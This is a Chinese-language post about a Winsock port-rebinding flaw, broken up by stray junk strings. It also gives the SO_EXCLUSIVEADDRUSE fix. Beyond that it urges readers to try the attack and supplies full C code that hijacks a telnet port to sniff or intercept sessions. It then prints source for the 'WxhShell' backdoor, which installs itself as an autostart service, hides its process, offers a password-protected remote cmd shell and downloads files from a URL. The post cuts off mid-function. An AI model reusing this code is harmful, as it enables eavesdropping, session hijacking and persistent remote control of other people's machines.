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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sUO`u qZV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vm8eZG| ?(1y saddr.sin_family = AF_INET; rH Lm\3 6xx ?A>: saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6Pl<'3& q"lSZ;
'E bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <dtGK~_ 6@5+m
0`u3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >1Ibc=}g E<Y$>uKA 这意味着什么?意味着可以进行如下的攻击: GR_-9}jQP `4J$Et%S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $bR~+C 'o2Fa_|<# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) By!o3}~g m+[Ux{$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H/
HMm{4 Ax7[;|2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 &K#M*B,*p IM'r8V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K;G~V\ p8O2Z?\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $7ZX]%<s x|Bf-kc[#Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1.GQau~ O,f?YJ9S #include <iC(`J$D #include j</: WRA`] #include g*_& #include *i%.;Z" DWORD WINAPI ClientThread(LPVOID lpParam); %5n_
p^xp int main() X&`t{Id?6 { E{`fF8]K WORD wVersionRequested; 45c$nuZ DWORD ret; *])
`z8Ox WSADATA wsaData; vpr.Hn BOOL val; uo8YP<q SOCKADDR_IN saddr; jV1.Yz(` SOCKADDR_IN scaddr; EV%gF int err; wlqksG[B SOCKET s; \ Gvm9M SOCKET sc; yNBfUj -L int caddsize; .Yn_*L+4* HANDLE mt; oD.Cs' DWORD tid; #q=Efn' wVersionRequested = MAKEWORD( 2, 2 ); +a+Om73B2 err = WSAStartup( wVersionRequested, &wsaData ); ^hM4j{|&M if ( err != 0 ) { dUZ
,m9u printf("error!WSAStartup failed!\n"); ;4|15S return -1; <\^8fn } f2`2,? saddr.sin_family = AF_INET; VY4yS*y sDlO# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aEeodA<( Z@!+v19^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mz0X3 saddr.sin_port = htons(23); hRhe& ,v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YN F k { 7Ak6,BuI% printf("error!socket failed!\n"); 5U$0F$BBp return -1; ]N?kG`[ } ^u ~Q/4 val = TRUE; 0aB;p7~& //SO_REUSEADDR选项就是可以实现端口重绑定的 9WyhZoPD* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W^l-Y%a/o { oZ|\vA%4^ printf("error!setsockopt failed!\n"); z<?)Rq" return -1; )jP1or } fuySN!s //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2c*GuF9(0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BRiE&GzrF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '~=SzO /a4{?? #e if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XW]tnrs { 8{sGNCvU ret=GetLastError(); F={a;Dvrn printf("error!bind failed!\n"); @\#td5' return -1; /PIcqg } Gyc]?m listen(s,2); (f"4,b^] while(1) (*iHf"=\ { [{,1=AB caddsize = sizeof(scaddr); 3a'<*v<xw //接受连接请求 MQ8J<A Pf- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $ddCTS^ if(sc!=INVALID_SOCKET) 0 kW,I { ]}Yl7/gM1} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "4{r6[dn if(mt==NULL) g}c~ :p { aPL+=5 8r printf("Thread Creat Failed!\n"); vEJbA break; Q*Pq{]0K } 9\7en%( M } cbTm'}R(G CloseHandle(mt); 'D1xh~ } /j.9$H'y closesocket(s); N(yzk_~ WSACleanup(); +6+i!Sip return 0; eJ-nKkg~a } C,4e"yynb DWORD WINAPI ClientThread(LPVOID lpParam) fz
"Y CHe { 61U09s%\0 SOCKET ss = (SOCKET)lpParam; F:S}w SOCKET sc; S?2>Er unsigned char buf[4096]; O:K2Y5R?B SOCKADDR_IN saddr; Y.p;1" long num; {)sdiE DWORD val; _H@DLhH|= DWORD ret; .7X^YKR //如果是隐藏端口应用的话,可以在此处加一些判断 k!Y, 63V= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 7@W>E;go saddr.sin_family = AF_INET; X"eYK/7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {+>-7
9b saddr.sin_port = htons(23); cw
<l{A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4o5t#qP5$S { Jln:`!#fDf printf("error!socket failed!\n"); j#4kY R{ return -1; o ^uA">GH } 1?l1:}^L val = 100; YGNP53CU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N8df8=.kw { )vlhN2iv ret = GetLastError(); rYk0
ak return -1; wUJcmM; } P]C<U aW'! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pd$[8Rmj_ { _lq`a\7e ret = GetLastError(); 4CTi]E=H{ return -1; 1< ?4\?j } S3J^,*' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n+ M <\ { 6ik$B printf("error!socket connect failed!\n"); , W?VhO closesocket(sc); .T`%tJ-Em closesocket(ss); E2-\]?\F( return -1; 1_G^w
qk } ))Za&S*< while(1) r<$y=B { M"L=L5OH- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }x,S%M- //如果是嗅探内容的话,可以再此处进行内容分析和记录 /yZcDK4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1|:KQl2q num = recv(ss,buf,4096,0); ;n;p@Uu[
b if(num>0) Q/Rqa5LI: send(sc,buf,num,0); h{qgEIk& else if(num==0) +b6v!7_ break; yB!dp;gM{ num = recv(sc,buf,4096,0); |I=T@1_D if(num>0) +kD
R.E: send(ss,buf,num,0); `WS&rmq&' else if(num==0)
v"0J&7!J break; DHRlWQox } * v#o closesocket(ss); ;kKyksxlD closesocket(sc); nJ;.Td return 0 ; m4Zk\,1m.| } _Z\G5x F"mmLao FP>2C9:d ========================================================== %z$#6?OK^ 0n'_{\yz 下边附上一个代码,,WXhSHELL ;9#KeA _ J .<F"r> ========================================================== |V(0GB ?V=CB,^ #include "stdafx.h" h2QmQ>y" W%w~ah|/] #include <stdio.h> W*Y/l~x} #include <string.h> $:^td/p J #include <windows.h> Ho]su? #include <winsock2.h> zT{VE+= #include <winsvc.h> w!XD/jN #include <urlmon.h> St^5Byd< @(lh%@hO #pragma comment (lib, "Ws2_32.lib") l+b~KU7~l #pragma comment (lib, "urlmon.lib") |vC~HJpuv' E" vS $ #define MAX_USER 100 // 最大客户端连接数 2KZneS` #define BUF_SOCK 200 // sock buffer 1 -b_~DF #define KEY_BUFF 255 // 输入 buffer %l%HHT K)P%;X #define REBOOT 0 // 重启 GtHivC #define SHUTDOWN 1 // 关机 SS2%qv 3(UVg!t #define DEF_PORT 5000 // 监听端口 V VCZ9MVJ uw8f ~:LT #define REG_LEN 16 // 注册表键长度 y)<q/ #define SVC_LEN 80 // NT服务名长度 2A!FDr~cdT [-x7_=E# // 从dll定义API 5IG-~jzCLb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `H+lPM66 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4&iCht
= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yr|4Fl~U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D43z9z-:L e:W{OIz: // wxhshell配置信息 6MI8zRX struct WSCFG { ," ql5Q4 int ws_port; // 监听端口 "Rl}VeDY char ws_passstr[REG_LEN]; // 口令 K<J9~ int ws_autoins; // 安装标记, 1=yes 0=no D&zle~" J char ws_regname[REG_LEN]; // 注册表键名 T^q
0'#/ char ws_svcname[REG_LEN]; // 服务名 : E?V. char ws_svcdisp[SVC_LEN]; // 服务显示名 #A.@i+Zv char ws_svcdesc[SVC_LEN]; // 服务描述信息 :gC#hmm^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BJ0?kX@ int ws_downexe; // 下载执行标记, 1=yes 0=no %|4UsWZ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Y9|!+,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XX~,>Q}H= bPMhfK2 % }; wyG;8I y+;|Fz // default Wxhshell configuration R}ecc struct WSCFG wscfg={DEF_PORT, !!y a "xuhuanlingzhe", .wr>]yN 1, nj4/#W "Wxhshell", dqAw5[qMJ "Wxhshell", eDB ;cN "WxhShell Service", -{A<.a3P}= "Wrsky Windows CmdShell Service", K|@G t%Y "Please Input Your Password: ", 2Rz 1, QS j]ZA " http://www.wrsky.com/wxhshell.exe", 9!tW.pK5 "Wxhshell.exe" :Qq#Z }; tg/H2p^Y F1hHe<) // 消息定义模块 h7@6T+#WoT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g
`4<9RMun char *msg_ws_prompt="\n\r? for help\n\r#>"; mVmGg, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; jFb?b6b char *msg_ws_ext="\n\rExit."; !o-@&q char *msg_ws_end="\n\rQuit."; YbLW/E\T char *msg_ws_boot="\n\rReboot..."; $ulOp;~A% char *msg_ws_poff="\n\rShutdown..."; y?!"6t7& char *msg_ws_down="\n\rSave to "; 4.(4x& *|l/6!WM char *msg_ws_err="\n\rErr!"; :H[6Lg\* char *msg_ws_ok="\n\rOK!"; G/ 5%.Bf@ ^}C\zW char ExeFile[MAX_PATH]; SY8C4vb'h int nUser = 0; U<-D(J HANDLE handles[MAX_USER]; CH/rp4NeSy int OsIsNt; t>sE x: 8$|=P!7EO SERVICE_STATUS serviceStatus; ~_ a-E SERVICE_STATUS_HANDLE hServiceStatusHandle; $]8Q(/mbK F<w/PMb // 函数声明 6@Y|"b int Install(void); IM+o.@f- int Uninstall(void); LIdF 0 int DownloadFile(char *sURL, SOCKET wsh); h1(4Ic int Boot(int flag); Np)lIGE void HideProc(void); :i7;w%B int GetOsVer(void); ]N[ 5q=A5 int Wxhshell(SOCKET wsl); )_NO4`ejs/ void TalkWithClient(void *cs); Q7A MRrN int CmdShell(SOCKET sock); Vq2$'lY int StartFromService(void); ;=UsAB] int StartWxhshell(LPSTR lpCmdLine); -%dCw6aX+ {_dvx*M VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A(0lM`X VOID WINAPI NTServiceHandler( DWORD fdwControl ); fn!KQ`,# 4`R(? // 数据结构和表定义 _tXlF; SERVICE_TABLE_ENTRY DispatchTable[] = %%wNZ{ { *9i{,I@ {wscfg.ws_svcname, NTServiceMain}, KGpA2Nx {NULL, NULL} s9d_GhT%- }; 4Xv*wB1 KY N0 // 自我安装 IIqUZJ int Install(void) &"q=5e2 { Q5_o/wk char svExeFile[MAX_PATH]; o`RKXfCq HKEY key; o?
$.fhD
strcpy(svExeFile,ExeFile); 6`-jPR {zFMmPid // 如果是win9x系统,修改注册表设为自启动 [fIg{Q if(!OsIsNt) { 7[wieYj{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yCX?!E;La RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,v&(Y Od RegCloseKey(key); <Ok3FE.K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O| hpXkV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A +)`ZTuO RegCloseKey(key); v9->nVc- return 0; F}qc0 } Hq 188< } T,tdL
N- } j8`BdKg else {
YrKWA -PQv ?5 // 如果是NT以上系统,安装为系统服务 $tS}LN_!
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9&ids!W~yx if (schSCManager!=0) I!?}jo3 { 40<mrVl SC_HANDLE schService = CreateService +d;bjo 2 ( PiYxk+N schSCManager, Wxe0IXq3Nn wscfg.ws_svcname, e 3TI|e_ wscfg.ws_svcdisp, &8 x-o, SERVICE_ALL_ACCESS, yvYad SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vZoaT|3
G] SERVICE_AUTO_START, eGHaY4| SERVICE_ERROR_NORMAL,
}>X~ svExeFile, *D3/@S$B NULL, bY0|N[g NULL, puM3g|n@ NULL, RdML3E NULL, ;d9QAN&0} NULL '08=yqy4N ); I
2|Bg,e if (schService!=0) ^v`\x5"Vp { W{gb:^;zb CloseServiceHandle(schService); 6i~WcAs CloseServiceHandle(schSCManager); [zM-^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ez=Olbk strcat(svExeFile,wscfg.ws_svcname); k)Qtfj}uij if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9*?oYm;dX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d<N:[Y\4l RegCloseKey(key); N*&1GT#9 return 0; xK\d4" } e@OX_t_ } {8%a5DiM CloseServiceHandle(schSCManager); w*JGUk } $ DSZO!pB } %1$,Vs<RH >
"=>3 return 1; J6aef^> } & 9 ?\b7 [1
9,&]z // 自我卸载 KyQX!,rV int Uninstall(void) Hg$lXtn] { w
G<yBI0 HKEY key; #?9;uy<j.q *ppffz if(!OsIsNt) { xX4N4vb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "!%l/_p? RegDeleteValue(key,wscfg.ws_regname); %F4%H|G RegCloseKey(key); `lt"[K< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =>af@C.2 RegDeleteValue(key,wscfg.ws_regname); A=wh@"2 RegCloseKey(key); ~O&:C{9= return 0; .=jay{ } %Q dn } kq,ucU%>p } 1^(ad;BCy else { ;x@~A^<el "~C,bk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8q}q{8 if (schSCManager!=0) V /V9B2.$ { UQ@L V~6{R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?oHpFlj if (schService!=0) u($!z^h { R',rsGd`6j if(DeleteService(schService)!=0) { -I,$_ CloseServiceHandle(schService); wT8DSq CloseServiceHandle(schSCManager); 'u |c return 0; tHwMX1 IG } wov\kV CloseServiceHandle(schService); ByNn } 9e,0\J CloseServiceHandle(schSCManager); JB[~;nLlC } )C]gld;8 } W+ko q*P Y^EcQzLw return 1; zsyIV!( } #KexvP&* (\YltC@q% // 从指定url下载文件 6.nCV0xA int DownloadFile(char *sURL, SOCKET wsh) FSW_<% { ;P%1j| 7 HRESULT hr; _C[q4? char seps[]= "/"; F%D.zvKN char *token; 9H`XeQ. char *file; sZ/v^xk char myURL[MAX_PATH]; 0*D$R`$ char myFILE[MAX_PATH]; %.-4!vj GM f
`A,> strcpy(myURL,sURL); T&u5ki4NE token=strtok(myURL,seps); z !rL
s76 while(token!=NULL) * kDC liL { DKJmTH]rUg file=token; fN^8{w/O
token=strtok(NULL,seps); )g#T9tx2D } GqaCj^2f G.a b ql GetCurrentDirectory(MAX_PATH,myFILE); ]tRu2Ygf strcat(myFILE, "\\"); dufu|BL|} strcat(myFILE, file); Ata:^qI send(wsh,myFILE,strlen(myFILE),0); :hk5 .[ send(wsh,"...",3,0); Y;^l%ePuW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZyPVy if(hr==S_OK) .Una+Z return 0; ARwD~Tr else tq6!`L }3 return 1; _
y8Wn}19f o5uph=Q{ } peuZ&yK+" Ep3N&Imp // 系统电源模块 $OkBg0 int Boot(int flag) 9oR@UW1 { ^sEYOX\ HANDLE hToken; PB`Y
g TOKEN_PRIVILEGES tkp; gS]@I0y8
. ZWU)\}}_R if(OsIsNt) { n QZwC
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,I(d6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /quc}"__ tkp.PrivilegeCount = 1; `yXg{lk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }DfshZ0QM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e9 5Lo+:f if(flag==REBOOT) { ^-Kf']hU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V0.vQ/ return 0; jaMjZp;{( } s;Z\Io else { dx{bB%?Y\= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s6v; return 0; sF?TmBQ* } Jg\zdi:t } j0S#>t else { )SRefW.v if(flag==REBOOT) { QP8Ei~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L<-_1!wh return 0; )<;Y-u.UW } Fk*7;OuZl else { a /l)qB# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {9;CNsd return 0; #+HJA42 } BsqP?/ } (X1e5j>Ru 37 , return 1; Ou!2[oe@M } b vr^zH,C xH(lm2kvT // win9x进程隐藏模块 Qu"\wE^.` void HideProc(void) }c`"_L { #Z`q+@@]A AFDq}*2Qb HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G"U9E5O if ( hKernel != NULL ) YYl 4"l { ~tUl} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kmsb hYM) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I{9QeRI FreeLibrary(hKernel); >WQMqQ^t@ } NI}yVV st3l2Q return; EZy)A$| } \fyRsa) N~d ?WD\^ // 获取操作系统版本 ceh j; int GetOsVer(void) "9P>a=Y { \y)rt ) OSVERSIONINFO winfo; { MSkHf= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |\<`Ib4j GetVersionEx(&winfo); ~'iHo]9O if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '()xHEGl3 return 1; }=UHbU.n~! else V>)OpvoT# return 0; t?ZI".> } YEs & 7>|J8*/Nd // 客户端句柄模块 ,o{9$H5{ int Wxhshell(SOCKET wsl) *:YiimOY" { DiScFx|rE SOCKET wsh; KRLQ #,9 struct sockaddr_in client; 3yY}04[9< DWORD myID; q J=~Y|( /-ch`u md while(nUser<MAX_USER) 2*< nu><b { w%VU/6~ int nSize=sizeof(client); HU}7zK2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C:* *;=. if(wsh==INVALID_SOCKET) return 1; YTX,cj#D^& i]y<|W)Q3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :O?MSS;~ if(handles[nUser]==0) FLCexlv^ closesocket(wsh); \H~T>j{N else 5C*Pd
Wpl nUser++; *vN-Vb^2i) } MS>Ge0P("~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P[#e/qnXu| o\<ULW* return 0; *@r/5pM2} } 69?wc! 2c,9e` // 关闭 socket vNY{j7l/W void CloseIt(SOCKET wsh) ooL!TSGD { bv9]\qC]T< closesocket(wsh); g^2OkV( nUser--; .E1rqB G ExitThread(0); <#y[gTJ<'> } 88gM?G _X gQelD6c // 客户端请求句柄 [0[i5'K: void TalkWithClient(void *cs) D/B8tf+V { eRstD>r uk]$#TV*q> SOCKET wsh=(SOCKET)cs; uaGk6S char pwd[SVC_LEN]; +I:Unp char cmd[KEY_BUFF]; };bEU wGWf char chr[1]; nQtWvT int i,j; R'`qKc z'U1bMg while (nUser < MAX_USER) { &yTqZ*Yuk 9y8&9<# if(wscfg.ws_passstr) { S6M}WR^, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +nhLIO{{L //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mj?`j_X //ZeroMemory(pwd,KEY_BUFF); /-qNh>v4 i=0; :&rt)/I while(i<SVC_LEN) { k&q;JyUi \*y-g@-{W$ // 设置超时 V-2(?auZd fd_set FdRead; |t&>5HM struct timeval TimeOut; _LUhZlw FD_ZERO(&FdRead); \0I_< FD_SET(wsh,&FdRead); ,RI Gc US TimeOut.tv_sec=8; Y>T-af49 TimeOut.tv_usec=0; 8f4b&ah int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4Zddw0|2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LTCb@L{^i #s(BuVU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T_
<@..C pwd =chr[0]; S9D<8j^ if(chr[0]==0xd || chr[0]==0xa) { SC!RbW@3 pwd=0; c(m<h+2VL break; 1 ~*7f> } ]BZA:dd.G i++; q[ZT Hd.- } =tn)}Y.<e 6qpJUkd // 如果是非法用户,关闭 socket 9C9oUtS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,vawzq[oSy } 0[#
3;a a=1@*ID send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NC`aP0S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nFe<w q=m'^
,gPS while(1) { <C iSK! ]t,BMu=% ZeroMemory(cmd,KEY_BUFF); O`\;e>!t @6sqMw} // 自动支持客户端 telnet标准 |\t-g"~sN j=0; 7~p@0)'' while(j<KEY_BUFF) { b<ZIWfs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PO^ij2eS cmd[j]=chr[0]; ~2N"#b&J if(chr[0]==0xa || chr[0]==0xd) { D&
i94\vVa cmd[j]=0; RFc v^Xf break; fk>aqm7D! } IGQFtO/x j++; )
7@ `ut } v^NIx q}U gp?uHKsM // 下载文件 6ex/TySM if(strstr(cmd,"http://")) { : /N0!&7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); /NFj(+&g+ if(DownloadFile(cmd,wsh)) Fb>?1i`RN send(wsh,msg_ws_err,strlen(msg_ws_err),0); FUb\e-Q= else +Q)XH>jh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !zpRrx_ } ]Sz:|%JP1 else { MYvY]Jx3 'ya{9EdlT switch(cmd[0]) { yYYSeH EGS)b // 帮助 (gU!=F?#m case '?': { )m)-o4c send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xml7Uarc break; |F[+k e } KqJs?Won // 安装 50wulGJud case 'i': { ]7BvvQ
if(Install()) #x60xz send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9T9!kb else _Y4` xv0/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y=I'czg break; =v&hWjP } iy!=6 // 卸载 n'LrQU case 'r': { Uz8ff if(Uninstall())
#A/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'KL0@l else *n
]GsOOn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C2I_%nU Z1 break; p%Vt#?q } &`r-.&Y // 显示 wxhshell 所在路径 -3*]G^y2 case 'p': { mdg8,n char svExeFile[MAX_PATH]; P|E| $)m strcpy(svExeFile,"\n\r"); rJ4S%6w strcat(svExeFile,ExeFile); FVbb2Y?R send(wsh,svExeFile,strlen(svExeFile),0); f~R(D0@ break; /-'}q=M } %)1?TU // 重启 ;[YG@-"XZ case 'b': { 7Q9 w?y~c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "+nRGEs6 if(Boot(REBOOT)) cwlRQzQ( send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4e7-0}0 else { Iyn(?w closesocket(wsh); #gN&lY:CFn ExitThread(0); bsli0FJSh' } V)k4:H break; pYEMmZ?L } 7xlkZF // 关机 X`K<>0.N case 'd': { lrE5^;/s1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8/#A!Ww] if(Boot(SHUTDOWN))
Pmx-8w send(wsh,msg_ws_err,strlen(msg_ws_err),0); )2o?#8J else { h7oo7AP closesocket(wsh); JPHL#sKyz ExitThread(0); +3BN} } ^[`%&uj!g break; SKN`2[ahD } u
c)eil // 获取shell [|$h*YK case 's': { {}przrU^c CmdShell(wsh); &Z@o Q closesocket(wsh); RbnVL$c ExitThread(0); N>`Aw^ _@& break; &6!)jIWJ } #zs~," dRv // 退出 T?0eVvM case 'x': { <n$'voR7] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (%6P0* CloseIt(wsh); g$-PR37( break; 9.-S(ZO } rs[T=C Q // 离开 ;[DU%f case 'q': { zC!t;*8a send(wsh,msg_ws_end,strlen(msg_ws_end),0); $h"\N$iSq
closesocket(wsh); 9cF[seE"0 WSACleanup(); 8TKnL\aar exit(1); uGG t\.$]s break; (?c"$|^J } Rhs/3O8k } 7n<{tM } !Ai@$tl[S [9L:),&u
// 提示信息 FW4<5~'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W{+2/P } 3nQ`]5.Q
w } \M^bD4';> Qw*|qGvy^ return; 4+8@`f>s } g3y~bf {;1\+f // shell模块句柄 tyFzSrfc int CmdShell(SOCKET sock) 8GUX{K { n-;`Cy`k STARTUPINFO si; k y7Gwc ZeroMemory(&si,sizeof(si)); n_A3#d<9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vk^xT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n 7[V&`e_ PROCESS_INFORMATION ProcessInfo; ?fSG'\h> char cmdline[]="cmd"; S,UDezxg CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
v!5 `|\ return 0; a1lh-2xX } q0vQa kDxFloK // 自身启动模式 u*`GiZAO int StartFromService(void) 8lrpve { m-, x<bM? typedef struct PJH& { 3]S$ih&A DWORD ExitStatus; gM:".Ee DWORD PebBaseAddress; q 2E_A DWORD AffinityMask; ;.980+i1 DWORD BasePriority; ;e *!S}C, ULONG UniqueProcessId; %h!B^{0 ULONG InheritedFromUniqueProcessId; sO@Tf\d } PROCESS_BASIC_INFORMATION; zrb}_ B]tQ(s~ PROCNTQSIP NtQueryInformationProcess;
8d'0N ^1.By^
